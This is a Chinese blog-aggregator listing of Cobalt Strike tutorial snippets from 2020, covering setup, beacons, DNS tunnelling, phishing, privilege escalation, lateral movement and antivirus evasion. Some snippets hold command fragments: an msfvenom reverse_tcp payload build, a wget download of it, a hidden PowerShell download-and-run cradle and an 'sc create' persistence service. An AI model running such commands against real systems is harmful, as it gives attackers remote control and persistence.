cobaltstrike

Cobalt Strike神器使用教程

CobaltStrike是一款渗透测试神器，常被业界人称为CS神器。
2ed·2020-08-05 11:46

CobaltStrike上线Linux主机(CrossC2)

对于Windows主机，我们可以使用CobaltStrike，那么自然我们会想问，CobaltStrike能否对Linux主机进行长期远控呢？
谢公子·2020-08-05 10:33

利用Cobalt strike一步步教你发送钓鱼邮件

*本文原创作者：rj00，本文属FreeBuf原创奖励计划，未经许可禁止转载前几天，在freebuf上就发表了新的Cobaltstrike，提权利器CobaltStrike发布3.6版本，介绍什么的就不多说
qq_27446553·2020-08-05 10:17

Cobalt Strike之DNS Beacon使用记录

本文属FreeBuf原创奖励计划，未经许可禁止转载笔者使用环境本机DebianLinux服务器VPS（DebianLinux）目标Windows2003（虚拟机）CobaltStrikev3.6（开心版）CobaltStrike
qq_27446553·2020-08-05 10:17

Cobaltstrike系列教程(三)beacon详解

0x000–前文有技术交流或渗透测试培训需求的朋友欢迎联系QQ5470066602000人网络安全交流群，欢迎大佬们来玩群号8207832530x001-Beacon详解1.Beacon命令大家通过系列教程(二)的学习，配置好Listner，让目标机执行我们的Payload/后门程序后，即可发现目标机已经上线右键目标interact来使用Beacon，我们用它来执行各种命令※在CobaltStri
J0o1ey～联系QQ547006660·2020-08-05 10:45

Cobaltstrike系列教程(二)Listner与Payload生成

0x000-前文有技术交流或渗透测试培训需求的朋友欢迎联系QQ5470066602000人网络安全交流群，欢迎大佬们来玩群号820783253PS:原本想完成日更目标的，但昨天在研究无线，就没更，今天加班~0x001-Listner(监听器)介绍①Cobaltstrikelistner简介可能有一些小白并不理解什么叫做listner，在此科普一下。Listner(监听器):专门用于对其他对象身上发
J0o1ey～联系QQ547006660·2020-08-05 10:45

Cobaltstrike系列教程(九)内置Socks与神器EW

0x000-前文有技术交流或渗透测试培训需求的朋友欢迎联系QQ5470066602000人网络安全交流群，欢迎大佬们来玩群号8207832530x001-Socks概念目前利用网络防火墙将组织内部的网络结构与外部网络如INTERNET中有效地隔离开来，这种方法正变得逐渐流行起来。这些防火墙系统通常以应用层网关的形式工作在网络之间，提供受控的TELNET、FTP、SMTP等的接入。SOCKS提供一个
J0o1ey～联系QQ547006660·2020-08-05 10:44

『DNS隧道工具之渗透神器』— cobalt strike

1、简介cobaltstrike（以下简称CS）作为一款协同APT工具，功能十分强大，针对内网的渗透测试和作为容易的控制终端功能，使其变成众多APT组织的首选。原先作为
冉椿林博客·2020-08-05 10:21

【CobaltStrike】CobaltStrike简介与使用

CobaltStrike简介与使用0x00简介1.什么是CobaltStrike？可以用来做什么？CobatStrike是一款基于java编写的全平台多方协同后渗透攻击框架。
dda6607·2020-08-05 10:37

HelpSystems收购CobaltStrike以扩展核心安全业务

CobaltStrike，你没看错，著名红队渗透测试套件，业界人称CS，用过都说好，反溯源一级棒，APT组织的宠儿，黑产组织的香馍馍，都离不开它。每当有新版本来临，业界破解速度堪比火箭升天。
blackorbird·2020-08-05 10:47

CobaltStrike中DNS隐蔽隧道的利用详细版

文章目录1.CobaltStrike的介绍和DNSBeacon通信过程2.域名申请和域名解析的部署3.CobaltStrike开启DNSBeacon监听4.生成DNS木马5.上线目标系统及远程控制6.进阶
Marsal·2020-08-05 10:34

关于Cobalt Strike的Malleable-C2-Profiles浅析

前言本文主要浅略地分析CobaltStrike利用Malleable-C2-Profiles来进行手机麻将外挂伪装流量，实现通信隐匿的效果。
加微WG96968·2020-08-05 10:30

隐匿的攻击之-Domain Fronting

0x01简介0x02情形0x03示例0x04应用1.CobaltStrike2.Empire0x05小结0x06参考0x01简介最近看到了一些关于DomainFronting的技术，感觉很有意思，其特点在于
qq_27446553·2020-08-05 10:12

Cobalt Strike4.0安装

CobaltStrike是一款基于java编写的全平台多方协同后渗透攻击框架。CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。
BROTHERYY·2020-08-04 11:17

PTH横向移动

0x02通过PTH横向移动一、通过cobaltstrike进行PTH1、在已上线机器中直接dir访问目标系统C盘，提示没权限。
`GGyao·2020-08-01 13:00

【基础篇】————14、隐匿攻击之Office 365

CobaltStrike最近添加了一个新的扩展功能，可以在保持工具兼容性的前提下，创造隐蔽的C2通道。
FLy_鹏程万里·2020-07-30 23:16

Kali下Cobalt Strike4.0的安装

文章目录安装环境及版本配置Java环境部署TeamServer部署CobaltStrike安装环境及版本Kali2019.4CobaltStrike4.0:Gcow安全团队提供的下载，有需要的可以从Gcow
尸者狗·2020-07-27 14:01

Coablt strike官方教程中文译版本

安装和设置系统要求CobaltStrike的最低系统要求2GHz+以上的cpu2GBRAM500MB+可用空间在Amazon的EC2上，至少使用较高核数的CPU（c1.medium，1.7GB）实例主机
weixin_30701575·2020-07-15 03:34

利用MSBuild制作msf免杀的后门

我这次选择了32位的那个版本来进行演示：需要改写的是shellcode那部分：选择CobaltStrike:payload>windo
ZZZJX7·2020-07-14 06:36

内网中CobaltStrike4.0（CS4）的渗透之旅

http://vulnstack.qiyuanxuetang.net/vuln/detail/7/思路参考记一次在VulnstackATT&CK5靶场中使用CobaltStrike的渗透之旅文章中如有错误的地方望大佬指正
god_zZz·2020-07-11 06:59

CobaltStrike后渗透工具精华教程

CobaltStrike是一款基于java的渗透测试神器，常被业界人称为CS神器。
M-209·2020-07-08 22:59

Cobaltstrike扩展脚本介绍

扩展是Cobaltstrike一个极为重要的模块，它有效地丰盈了cobaltstrike的功能选择菜单栏的CobaltStrike–>脚本管理器，点击load，然后选择cna扩展文件即可，旁边的unload
M-209·2020-07-08 22:29

Kali 2.0 安装 Cobalt Strike

CobaltStrike是什么我就不介绍了，只给出安装方法本文针对最新的CobaltStrike3.0，环境为Kali2.0如果是其他版本的安装和其他环境的，请另搜其他文章1.代理CobaltStrike
PolluxAvenger·2020-07-05 14:11

Cobalt Strike 证书修改

0x01.CobaltStrike简介CobaltStrike是一款渗透测试软件，分为客户端与服务端，服务端是一个，客户端可以有多个，可以进行团队分布式操作，CobaltStrike集成了端口转发、扫描多模式端口
shuteer_xu·2020-07-05 12:27

Cobalt Strike安装

一.支持的平台因为cobaltstrike基于java编写的，所以在windows、linux、macos等系统上都能运行。
j.cat·2020-07-05 10:29

Cobaltstrike4.0系列教程(一)----简介与安装

0x01-Cobaltstrike简介CobaltStrike是一款美国RedTeam开发的渗透测试神器，常被业界人称为CS。
go0dStudy·2020-07-05 08:43

Cobalt Strike神器高级教程利用Aggressor脚本编写目标上线邮件提醒

个人认为CobaltStrike强大不止在于后渗透跟权限维持上，还有强大的可扩展性，打造出一款强大的渗透神器如：添加上线自动化持久性权限控制，APT攻击目标上线提醒，AV识别等等一系列功能，这边先编写一个上线邮件提醒功能
qq_27446553·2020-07-05 03:34

Cobaltstrike系列教程(一)简介与安装

0x000-前言有技术交流或渗透测试培训需求的朋友欢迎联系QQ5470066602000人网络安全交流群，欢迎大佬们来玩群号8207832530x001-Cobaltstrike简介CobaltStrike
J0o1ey～联系QQ547006660·2020-07-05 03:34

msf传递shell给cobalt strike

前提：拿到msf的session会话方法1：在cmd中执行cobaltstrike的scriptedwebdelivery命令，比如powershell.exe-nop-whidden-c"IEX((new-objectnet.webclient
mirror97black·2020-07-05 00:00

cs服务器搭建（cobaltstrike）

CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节。
孟小康（^_^）·2020-07-04 20:37

CobaltStrike的安装与简单使用

CobaltStrike的使用CobaltStrike一款以Metasploit为基础的GUI框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，exe、powershell木马生成等
zw1sh·2020-06-30 19:00

Cobalt Strike使用教程一

0x00简介CobaltStrike是一款基于java的渗透测试神器，常被业界人称为CS神器。
小白白@·2020-06-29 14:52

Cobalt Strike4.0安装包（内附中文版）

CobaltStrike已经不再使用MSF而是作为单独的平台使用，它分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。
传说中的彩虹海·2020-06-29 13:28

Cobalt Strike系列教程3 beacon详解

0x01.1Beacon命令通过系列教程2的学习，配置好Listeners，让目标及执行我们的payload后门程序后，即可发现目标主机已经上线右键目标选择使用Beacon,我们用它来执行各种命令==在CobaltStrike
weixin_42140534·2020-06-29 03:37

Cobaltstrike系列（一）-- 远程控制

一、通过cmd窗口运行teamserver，后面加上目标ip用户名二、双击运行cobaltstrike.bat三、输入用户名和密码登录四、设置监听器，点击菜单栏cobaltstrike–监听器选择ad
web安全工具库·2020-06-29 01:03

Cobalt Strike几种不常见的上线方式

#CobaltStrike新增了几种上线方式介绍：Staged和Stageless的区别.前者的实际功能只是和C2建立连接并接收Payload,然后加载执行,而Stageless直接省去了接收Payload
weixin_38168081·2020-06-28 20:59

Metasploit和Cobaltstrike上线不出网的机器

多喝热水：http://hackergu.com内网中的很多机器是不可以出网的，那该如何在Msf和CS中上线呢？MSF我们的目标机器是一台linux服务器，我们先生成elf马。msfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=192.168.101.90LPORT=7777-felf>test.elf在目标机器上使用wget命令，下载该马。wgeth
hackergu.com·2020-06-25 18:02

【CS学习笔记】1、如何搭建自己的渗透测试环境

于是乎，新的一期学习笔记开整，本期学习笔记如题：《CobaltStrike学习笔记》，简称《CS学习笔记》，这期笔记预计会更新28篇文章，学习资源来自B站视频，视频链接在文章底部。由于这只是学习笔记，
TeamsSix·2020-06-25 13:30

Cobaltstrike系列教程(十一)提权与横向移动

0x000-前文有技术交流或渗透测试培训需求的朋友欢迎联系QQ5470066602000人网络安全交流群，欢迎大佬们来玩群号8207832530x001-提权1.右键菜单提权:选择beacon，右键，执行–>提权我由于加载了插件，所以比官方多了几种提权方式插件下载请看我之前的帖子ms14-058/ms15-051/ms16-016/ms16-032这些都是大家耳熟能详的Windows本地提权漏洞，
J0o1ey～联系QQ547006660·2020-06-25 02:54

cobalt strike开机自启动后门

前提：拿到cobaltstrike的session设置开机自启动服务使用sc命令创建服务sccreate"WindowsPower"binpath="cmd/cstartpowershell.exe-nop-whidden-c
mirror97black·2020-06-24 15:39

利用cobalt strike获取域控权限

前期准备获取一个cobaltstrike的会话。可以利用cs本身的payload，或者是通过别的shell反弹到cs。
mirror97black·2020-06-24 15:38

Ladon6.5扫描器简明教程/用法例子

前言本文仅是Ladon简单使用例子，CobaltStrike或PowerShell版用法一致。
k8gege·2020-06-24 00:46

内网安全学习从入门到入狱-神器-Cobalt Strike-二-Beacon简介和使用

内网安全学习从入门到入狱-神器-CobaltStrike2-Beacon简介和使用内网安全学习从入门到入狱-神器-CobaltStrike-二-Beacon简介和使用内网安全学习从入门到入狱-神器-CobaltStrike2
god_zZz·2020-06-23 10:39

【CobaltStrike】对CobaltStrike内置功能模块的了解

对CobaltStrike内置功能模块的了解0x00右键功能列表Interact打开beaconAccessdumphashes获取hashElevate提权GoldenTicket生成黄金票据注入当前会话
dda6607·2020-06-23 03:13

Cobalt Strike折腾踩坑填坑记录

0x03CDN+反代隐藏TeamserverDomainFrontingProxy0x04DNS上线一个未填的坑DNSListener特性0x05结语0X00背景最近在做渗透测试相关的工作，因工作需要准备用CobaltStrike
Ca3tie1·2020-06-21 18:51

Cobaltstrike主机上线psexec传递

Psexec简介诸如Telnet之类的实用程序和诸如SymantecPCAnywhere之类的远程控制程序使您可以在远程系统上执行程序，但是设置起来很麻烦，并且要求您在希望访问的远程系统上安装客户端软件。PsExec是一种轻巧的telnet替代品，可让您在其他系统上执行进程，并为控制台应用程序提供完整的交互性，而无需手动安装客户端软件。PsExec最强大的用途包括在远程系统上启动交互式命令提示符，
Circle_xx·2020-06-21 13:27

metasploit payload运行原理浅析(sockedi调用约定是什么)

第一个不能错过的就是cobaltstrike作者早年写的metasploit-loader项目了，我看了项目源码，找了一些相关资料在Meterpreter载荷执行原理分析文章发现了一些细节性的东西，也感谢该文作者的抛砖引玉
Akkuman·2020-05-09 17:00

Cobalt Stike使用教程

目录:安装与连接监听器Listner基本使用方法--CobaltStrike生成后门Beacon详解菜单栏与视图文件管理与进程管理浏览器代理CobaltStrike扩展提权横向移动参考CobaltStrike
vege·2020-04-21 11:00

Cobait Strike的socks与ew代理使用

cobaitstrike介绍CobaltStrike一款以metasploit为基础的GUI的框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，winexe木马生成，windll
Lushun·2020-03-27 19:00

用Powershell框架Empire进行内网域渗透(一)

于是老外开发了empire框架，毕竟cobaltstrike要收费的不是？功能模块丰富，老外把内网[域]渗透中能用到的都整合进去了：内网探测，提权，凭据获取，横向移动，权限维持。
jjf012·2020-03-23 20:59
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他